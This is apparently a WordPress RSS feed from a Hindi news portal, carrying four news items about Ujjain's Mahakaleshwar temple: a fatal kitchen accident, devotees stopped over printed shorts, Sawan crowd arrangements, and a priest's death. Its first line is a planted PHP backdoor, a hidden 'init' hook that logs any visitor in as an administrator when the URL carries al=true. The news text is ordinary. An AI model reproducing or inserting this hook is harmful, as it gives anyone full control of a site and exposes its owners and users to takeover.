// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Mahakaleshwar temple – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 21 Dec 2024 16:16:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 उज्जैन : महाकालेश्वर मंदिर परिसर में बड़ा हादसा, मशीन में फंसा दुपट्टा, महिला की मौत https://pratyushaashakinayikiran.com/?p=112325 Sat, 21 Dec 2024 16:16:00 +0000 https://pratyushaashakinayikiran.com/?p=112325 उज्जैन

उज्जैन में महाकालेश्वर मंदिर में भयंकर हादसा हो गया. एक अधिकारी ने बताया कि शनिवार को मंदिर के फूड सेंटर में एक महिला का दुपट्टा आलू छीलने वाली मशीन में फंस गया. 30 साल की महिला रसोई में काम कर रही थी जब  मशीन में बुरी तरह से उलझने से महिला की गर्दन दुपट्टे में फंस गई और उसकी मौत हो गई.

  सुबह, उप-विभागीय मजिस्ट्रेट (एसडीएम) लक्ष्मी नारायण गर्ग ने संवाददाताओं को बताया कि यह दुर्घटना मंदिर के अन्न क्षेत्र में हुई. उन्होंने कहा कि एक निजी सुरक्षा सेवा के कर्मचारियों और परिसर की अन्य महिलाओं ने बताया कि पीड़िता रजनी खत्री भोजनशाला (रसोई) में काम कर रही थी, जब उसका 'दुपट्टा' आलू छीलने वाली मशीन में फंस गया.

जब तक कोई कुछ समझ पाता तो महिला के गले में दुपट्टा कस गया. एसडीएम ने कहा कि महिला को एक निजी अस्पताल ले जाया गया जहां डॉक्टरों ने उसे मृत घोषित कर दिया. उन्होंने कहा कि शव को पोस्टमार्टम के लिए भेजा गया है और रिपोर्ट से सही कारण पता चलेगा. एसडीएम ने कहा कि सरकार महिला के परिवार को वित्तीय सहायता प्रदान करेगी. महिला का परिवार अन्न क्षेत्र महाकालेश्वर मंदिर से लगभग 500 मीटर की दूरी पर है और भक्तों को भोजन उपलब्ध कराता है.

बता दें कि पहले भी ऐसे मामले सामने आए हैं जिसमें कभी किसी फर्राटा पंखे, कूलर या जनरेटर में किसी के कपड़े या बाल फंसे हों और भयंकर हादसा हुआ हो.

]]>
महाकाल मंदिर में क्यों कुछ भक्तों के उतरवा दिए गए निक्कर, दर्शन कर गमछे में लौटे https://pratyushaashakinayikiran.com/?p=61068 Fri, 16 Aug 2024 18:56:00 +0000 https://pratyushaashakinayikiran.com/?p=61068 उज्जैन

 उज्जैन में स्थित महाकालेश्वर मंदिर में शुक्रवार को एक दर्जन से अधिक श्रद्धालु महाकाल के नाम और त्रिपुंड छपे हुए निक्कर पहनकर दर्शन करने पहुंचे थे। इस दौरान मंदिर के सुरक्षा अधिकारी ने उन्हें रोका और उनसे निक्कर उतरवाया। हालांकि किसी प्रकार की कार्रवाई न करते हुए इन भक्तों को दूसरे कपड़े पहनने के लिए दिया। साथ ही हिदायत दी कि इस प्रकार के कपड़े पहनकर मंदिर में प्रवेश न करें। भक्तों के कपड़े उतरवाते देख थोड़ी देर के लिए वहां अफरा तफरी मच गई। कई श्रद्धालु अपने कपड़े छुपाते नजर आए।

उज्जैन के महाकाल मंदिर में शुक्रवार अल सुबह 'महाकाल' और 'त्रिपुंड' प्रिंट छपे निक्कर पहनकर प्रवेश कर रहे श्रद्धालुओं को मंदिर के कर्मचारी और सुरक्षाकर्मियों ने रोक दिया। बताया जा रहा है कि महाकाल भस्म आरती के दौरान कई श्रद्धालु 'महाकाल' प्रिंट वाले निक्कर पहनकर मंदिर में प्रवेश कर रहे थे।

इस दौरान गर्भगृह निरीक्षक उमेश पंड्या और मंदिर समिति की सुरक्षा के इंचार्ज विष्णु चौहान ने ऐसे कपड़े पहने श्रद्धालुओं पर कार्रवाई शुरू की। इस दौरान करीब एक दर्जन ऐसे लोगों को पकड़ा जिन्होंने 'महाकाल' और 'त्रिपुंड' बने निक्कर पहन रखे थे। इस दौरान मौके पर ही इन लोगों के कपड़े उतरवा दिए गए और उन्हें पहनने के लिए दूसरे कपड़े दिए गए। इसके बाद ही उन्हें मंदिर में प्रवेश दिया गया। साथ ही ऐसे कपड़े पहनकर मंदिर नहीं आने की हिदायत दी गई।

बता दें कि महाकाल मंदिर के आसपास बड़ी संख्या में धार्मिक वस्त्रों की दुकानें हैं। यहां 'महाकाल' लिखी हुई टी शर्ट, दुपट्टा, शर्ट, कुर्ता, शॉर्ट्स आदि मिलते हैं। कई भक्त इन्हें पहनकर महाकाल मंदिर में प्रवेश करते हैं।

कपड़े पहनने के मामले में हुई कार्रवाई को मंदिर के पुजारी महेश शर्मा ने सही बताया है। उन्होंने कहा कि इस प्रकार के कपड़े पहनने से धार्मिक भावनाएं आहत होती है। हम काफी समय से महाकाल मंदिर में ड्रेस कोड लागू करने की बात कह रहे हैं। मंदिर में ड्रेस कोड लागू होना चाहिए। मंदिर में धार्मिकता के अनुसार ही वस्त्र पहनकर प्रवेश दिया जाना चाहिए। हालांकि, इस तरह की कार्रवाई मंदिर में पहली बार की गई है।

पुजारी महेश शर्मा ने बताया कि प्रदेश के कई मंदिरों में प्रवेश के लिए ड्रेस कोड लागू किया जा चुका है। कई मंदिरों में इस प्रकार की सख्तियां लगाई गई है कि मंदिर में संस्कृति के अनुरूप ही कपड़े पहनकर प्रवेश करें। महाकाल मंदिर के पंडित और पुजारी भी कई बार ड्रेस कोड लागू करने की मांग कर चुके हैं। अभी देखने में आता है कि पुरुष भक्त छोटे-छोटे निक्कर पहनकर मंदिर में प्रवेश करते हैं तो युवतियां भी शॉर्ट ड्रेस पहनकर मंदिर में आ जाती हैं। इन सब पर रोक लगाई जानी चाहिए। इनसे धार्मिक भावनाओं को ठेस पहुंचती है।

इस मामले के संबंध में महाकाल मंदिर के नव नियुक्त प्रशासक गणेश धाकड़ से चर्चा करना चाही तो उन्होंने कहा कि मैं अभी बाहर हूं। आकर ही कुछ कह पाऊंगा।

विरोध कर चुके हैं पुजारी

कई बार मंदिर में महाकाल लिखे कपड़े पहनकर प्रवेश की बात सामने आई है। कई बार मंदिर के पुजारी भी इसका विरोध दर्ज करा चुके हैं। हालांकि इस तरह की कार्रवाई मंदिर में पहली बार की गई है।

पुजारी बोले- मंदिर में ड्रेस कोड लागू होना चाहिए

महाकाल मंदिर के पुजारी महेश शर्मा ने बताया, काफी समय से ड्रेस कोड लागू करने की मांग कर रहे हैं। ऐसा बड़े मंदिरों में भी है। आए दिन देखने में आता है कि पुरुष छोटे-छोटे निक्कर पहनकर मंदिर में प्रवेश करते हैं। कई ड्रेस तो मंदिर के अनुकूल नहीं होती। इसी तरह युवतियां भी शॉर्ट ड्रेस पहनकर मंदिर में आ जाती हैं। इन सब पर रोक लगाई जानी चाहिए। इनसे धार्मिक भावनाओं को ठेस पहुंचती है।

मंदिर के आसपास दुकानों पर मिलते हैं कपड़े

महाकाल मंदिर के आसपास बड़ी संख्या में धार्मिक वस्त्रों की दुकानें हैं। यहां महाकाल लिखी हुई टी शर्ट, दुपट्‌टा, शर्ट, कुर्ता, शॉर्ट्स आदि मिलते हैं। भक्त इन्हें पहनकर महाकाल मंदिर में प्रवेश करते हैं।

]]>
सावन में उज्जैन महाकाल समिति ने की नई व्यवस्था, आपात स्थिति से निपटने भी जुटाए इंतजाम https://pratyushaashakinayikiran.com/?p=53292 Sun, 21 Jul 2024 09:06:00 +0000 https://pratyushaashakinayikiran.com/?p=53292 उज्जैन

सावन का महीना शिव भक्ति के लिए सबसे बढ़िया माना गया है. देशभर में पूरे सावन माह के दौरान शिवालयों में श्रद्धालुओं की भीड़ उमड़ती है और श्रद्धालु भगवान शिव के दर्शन और पूजन करते हैं. उज्जैन में सावन का महीना अपने आप में एक त्यौहार रहता है.वहीं, भगवान शिव की नगरी कहे जाने वाले उज्जैन में सावन के अतिरिक्त भादो मास के 15 दिन भी शिव भक्ति के लिए महत्वपूर्ण होते हैं. कहावत है कि सालों पहले से ये परम्परा यूं ही चली आ रही है. क्योंकि एक वर्ग पूर्णिमा तिथि से पूर्णिमा तिथि तक श्रावण मास मानता है, जबकि दूसरा वर्ग अमावस्या तिथि से अमावस्या तिथि तक सावन मास को मानता है.

उज्जैन में भगवान शिव की पूजा व आराधना के लिए डेढ़ महीने का समय निर्धारित किया गया है. यही वजह है कि इस दौरान सावन भादो में महाकाल मंदिर में आने वाले श्रद्धालुओं की संख्या भी कई गुना बढ़ जाती है. महाकाल मंदिर में आने वाले श्रद्धालुओं को लेकर मंदिर प्रबंधन समिति का अनुमान है कि प्रत्येक सावन के सोमवार पर करीब साढ़े तीन लाख श्रद्धालु भगवान महाकाल के दर्शन पूजन के लिए आते हैं, इसके अलावा रोजाना आने वाले श्रद्धालुओं की संख्या भी दो से ढाई लाख के बीच होती है.

स्वास्थ्य टीम भी मंदिर में रहेगी तैनात

महाकाल मंदिर प्रबंधन समिति ने दर्शन के साथ साथ श्रद्धालुओं की सुरक्षा के लिए मंदिर परिसर में ही अस्थाई अस्पताल की भी व्यवस्था की है. भीड़भाड़ के दौरान यदि अचानक किसी श्रद्धालु को किसी प्रकार की अस्वस्थता महसूस होती है तो वो श्रद्धालु मंदिर परिसर में अस्थाई अस्पताल में अपना उपचार करवा सकेगा.

इस संबंध में जानकारी देते हुए मंदिर प्रबंधन समिति के सहायक प्रशासक मूलचंद जूनवाल ने बताया कि सावन-भादो मास में यहां चिकित्सकों की तैनाती रहेगी. पैरा मेडिकल स्टाफ को इसकी जिम्मेदारी सौंपी गई है. आसपास के अस्पतालों के डॉक्टर और प्रशिक्षित नर्सिंग स्टाफ पूरे समय उपस्थित रहेंगे. वहीं, बारिश को देखते हुए श्रद्धालुओं के लिए शेड भी लगाए गए हैं. इसके अलावा गर्मी से बचाव के लिए कूलर आदि की भी व्यवस्था की गई है.

सामान्य श्रद्धालुओं के लिए होगी अलग व्यवस्था

महाकालेश्वर मंदिर में आगंतुक व सामान्य श्रद्धालुओं के सरल-सुलभ दर्शन की व्यवस्था के लिए प्रवेश त्रिवेणी संग्रहालय के समीप से नंदीद्वार श्री महाकाल, महालोक – मानसरोवर भवन – फेसेलिटी सेंटर 01 – टनल मंदिर परिसर – कार्तिक मण्डपम – गणेश मण्डपम तक होगी. साथ ही भारत माता मंदिर की ओर से प्रशासनिक कार्यालय के सामने से आने वाले श्रद्धालु शंख द्वार से मानसरोवर भवन में प्रवेश कर – फेसेलिटी सेंटर 01 – टनल मंदिर परिसर – कार्तिक मण्डपम – गणेश मण्डपम से दर्शन कर सकेंगे.

कांवड़ यात्रियों के लिए होगी अलग व्यवस्था

श्री महाकालेश्वर मंदिर में श्रावण-भादो मास में अत्यधिक संख्या में कांवड़ यात्रियों का आगमन बाबा महाकाल को जल अर्पण करने के लिए होता हैं. कांवड़ यात्रियों को पूर्व सूचना दिए जाने पर शनिवार, रविवार, सोमवार को छोड़कर द्वार नंबर 04 से प्रवेश दिया जाएगा.

वहीं, ऐसे कांवड़ यात्री जो बिना किसी पूर्व सूचना के सीधे मंदिर पहुंचते हैं या फिर शनिवार, रविवार, सोमवार को कांवड़ लेकर आते हैं, उन्हें सामान्य श्रद्धालुओं की तरह दर्शन के लिए प्रवेश दिया जाएगा. ऐसे कांवड़ यात्री  कार्तिक मंडपम में लगे जल पात्र में जल अर्पण करेंगे.

भस्म आरती में रजिस्टर्ड श्रद्धालुओं की दर्शन की होगी व्यवस्था

श्रावण-भादो मास 2024 के उपलक्ष्य पर भस्म आरती में रजिस्टर्ड श्रद्धालुओं के प्रवेश संबंधी व्यवस्था मानसरोवर भवन एवं द्वार नंबर 01 से निर्धारित रहेगी. जबकि चलित भस्म आरती दर्शन की व्यवस्था श्रावण-भादो मास 2024 में प्रचलित व्यवस्था अनुसार अवंतिका द्वार से रहेगी.

विशिष्ट एवं अतिविशिष्ट अतिथियों की दर्शन व्यवस्था श्रावण-भादो मास 2024 के उपलक्ष्य पर श्री महाकालेश्वर मंदिर में आगंतुक विशिष्ट/अतिविशिष्ट श्रद्धालु नीलकण्ठ मार्ग से होते सत्कार कक्ष में पहुंचेंगे.

क्राउड मैनेजमेंट और सुरक्षा इंतजाम के भी होंगे पूरे इंतजाम

सावन माह में महाकालेश्वर भगवान के दर्शन करने बड़ी संख्या में श्रद्धालु पहुंचेंगे, इसको लेकर मंदिर समिति और पुलिस ने पूरी व्यवस्था की है. महाकाल मंदिर में श्रद्धालुओं को किसी तरह की परेशानी न हो इसके लिए निजी सुरक्षा एजेंसी के कर्मचारी तो तैनात रहेंगे ही साथ ही साथ बड़ी संख्या में पुलिस बल की भी तैनाती की जाएगी. पुलिस अधीक्षक प्रदीप शर्मा ने बताया कि मंदिर में सुरक्षा के लिहाज से उच्च अधिकारियों सहित करीब दो से ढाई हजार पुलिसकर्मियों की ड्यूटी लगाई गई है. ये सभी अलग-अलग शिफ्टों में मंदिर में सेवाएं देंगे.

इनके अलावा प्रशासनिक अधिकारी भी पूरे समय मंदिर की व्यवस्था की देखरेख करेंगे. महाकाल मंदिर के कंट्रोल रूम से भी पूरे मंदिर क्षेत्र में निगरानी की जाएगी. इसके लिए मंदिर के भीतर और बाहरी क्षेत्रों में सीसीटीवी का जाल बिछाया गया है. इसके अलावा सवारी मार्ग पर भी ड्रोन से नजर रखी जाएगी.

लाखों भक्तों के पहुंचने की है उम्मीद

महाकाल मंदिर सहायक प्रशासक मूलचंद जूनवाल ने बताया कि सावन भादो में महाकाल मंदिर में आने वाले श्रद्धालुओं की संख्या भी कई गुना बढ़ जाती है. महाकाल मंदिर में आने वाले श्रद्धालुओं को लेकर मंदिर प्रबंध समिति का अनुमान है कि प्रत्येक सावन के सोमवार को करीब साढ़े तीन लाख श्रद्धालु भगवान महाकाल के दर्शन पूजन के लिए आते हैं, इसके अलावा रोजाना आने वाले श्रद्धालुओं की संख्या भी दो से ढाई लाख के बीच होगी. जिसको लेकर मंदिर समिति ने तैयारी कर ली है.

 

]]>
महाकालेश्वर मंदिर पुरोहित समिति के अध्यक्ष अशोक शर्मा का निधन https://pratyushaashakinayikiran.com/?p=33448 Thu, 23 May 2024 14:16:00 +0000 https://pratyushaashakinayikiran.com/?p=33448 उज्जैन
 धार्मिक नगरी उज्जैन से एक दुखद खबर आ रही है. आज गुरुवार को महाकालेश्वर मंदिर पुरोहित समिति के अध्यक्ष अशोक शर्मा का 63 वर्ष की उम्र में निधन हो गया है. वह उज्जैन के गुदरी इलाके में रहते थे. बताया जा रहा है की अशोक शर्मा पिछले कई दिनों से बीमार थे. आज गुरुवार सुबह जब वह मंदिर आ रहे थे, तो मंदिर में प्रवेश से पहले ही उनकी तबियत बिगड़ गई. उन्हें तुरंत अस्पताल ले जाया गया, जहां उनकी मौत हो गई.

सालों से महाकाल मंदिर में सेवा दे रहे थे अशोक शर्मा

जानकारी के मुताबिक, उज्जैन महाकालेश्वर मंदिर पुरोहित समिति के अध्यक्ष अशोक शर्मा (63) का निधन हो गया. वे गुरुवार सुबह महाकाल मंदिर जाने के लिए निकले थे. अशोक शर्मा पीढ़ी दर पीढ़ी से महाकाल मंदिर में सेवा दे रहे थे. अब आगे उनके परिवार के लोगों को उनकी जगह दी जाएगी.

मंदिर में प्रवेश से पहले बिगड़ी तबीयत

महाकाल मंदिर के महेश पुजारी और आशीष पुजारी ने बताया कि ''कुछ दिनों से पुजारी अशोक शर्मा का स्वास्थ्य खराब चल रहा था. आज गुरुवार सुबह घर से महाकाल मंदिर जाने के निकले, लेकिन महाकाल मंदिर के प्रवेश से ठीक पहले ही उनकी तबीयत अचानक ज्यादा बिगड़ गई. उन्हें महाकाल मंदिर के लोग नजदीक के अस्पताल लेकर गए, जहां डॉक्टरों ने मृत घोषित कर दिया.'' इस खबर के बाद महाकाल मंदिर समित समस्त उज्जैन में शौक की लहर दौड़ गई है.

 

]]>